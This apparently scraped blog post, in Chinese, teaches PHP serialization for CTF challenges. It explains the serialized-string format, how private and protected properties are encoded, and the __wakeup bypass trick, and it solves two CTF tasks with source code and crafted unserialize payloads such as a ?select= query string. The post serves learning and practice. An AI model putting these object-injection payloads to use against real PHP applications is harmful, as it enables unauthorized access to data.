• CTF中的序列化与反序列化


    记一些CTF出现的序列化与反序列化的知识点和题目。

    序列化和反序列化的概念

    序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
    反序列化则相反将字符串重新恢复成对象。
    对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

    序列化中常见的魔法函数:

    __construct() 创建对象时调用
    __destruct() 销毁对象时调用
    __toString() 当一个对象被当作一个字符串使用
    __sleep() 在对象在被序列化之前运行
    __wakeup 将在序列化之后立即被调用
    

    看一串字符串

    O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
    
    O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
    3 代表类名字占三个字符 
    ctf 类名
    3 代表三个属性
    s代表字符串
    4代表属性名长度
    flag属性名
    s:13:"flag{abedyui}" 字符串 属性值长度 属性值
    

    访问控制修饰符

    根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

    public(公有)
    protected(受保护)
    private(私有的)
    protected属性被序列化的时候属性值会变成:%00*%00属性名
    private属性被序列化的时候属性值会变成:%00类名%00属性名
    

    就像这样

    O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化
    

    绕过__wakeup()函数

    当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

    //将上面的对象属性个数值改成逼真实个数打
    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    

    看几道基础的题目

    [极客大挑战 2019]PHP

    扫目录拿到www.zip网站的备份源码。

    <?php
    include 'flag.php';
    error_reporting(0);
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
    
            }
        }
    }
    $a = new Name("admin",100);
    $a = serialize($a);
    echo $a;
    ?>
    

    得到

    O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
    

    绕过__wakeup

    O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
    

    private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改

    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    

    然后?select传值

    ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    
    ISCC2020-Php is the best language(php反序列化)
    <?php
    @error_reporting(1);
    include 'flag.php';
    class baby
    {
        public $file="flag.php";     //本来是public $file这里改成public $file="flag.php"; 
        function __toString()
        {
            if(isset($this->file))
            {
                $filename = "./{$this->file}";
                if (base64_encode(file_get_contents($filename)))
                {
                    return base64_encode(file_get_contents($filename));
                }
            }
        }
    }/*
    if (isset($_GET['data']))
    {
        $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
    }
    else
    {
        $url='./index.php';
    }
    $html='';
    if(isset($_POST['test'])){
        $s = $_POST['test'];
        $html.="<p>谢谢参与!</p>";
    }*/
    //下面是解题代码
    $a = new baby("flag.php");
    $a = serialize($a);
    echo $a;      //O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
    ?>
    

    然后传值

  • 相关阅读:
    OpenCV用读取矩阵,访问图像数据
    OpenCV_Add方法
    OpenCV_颜色直方图的计算、显示、处理、对比及反向投影
    sift算法研究_无匹配
    OpenCV_轮廓例子
    OpenCV_用鼠标在窗口画方形
    【转】数字图像处理中的形态学
    OpenCV_ 滑动条模拟按钮
    OpenCV_轮廓的查找、表达、绘制、特性及匹配
    图像的膨胀与腐蚀、细化
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/13044403.html
Copyright © 2020-2023  润新知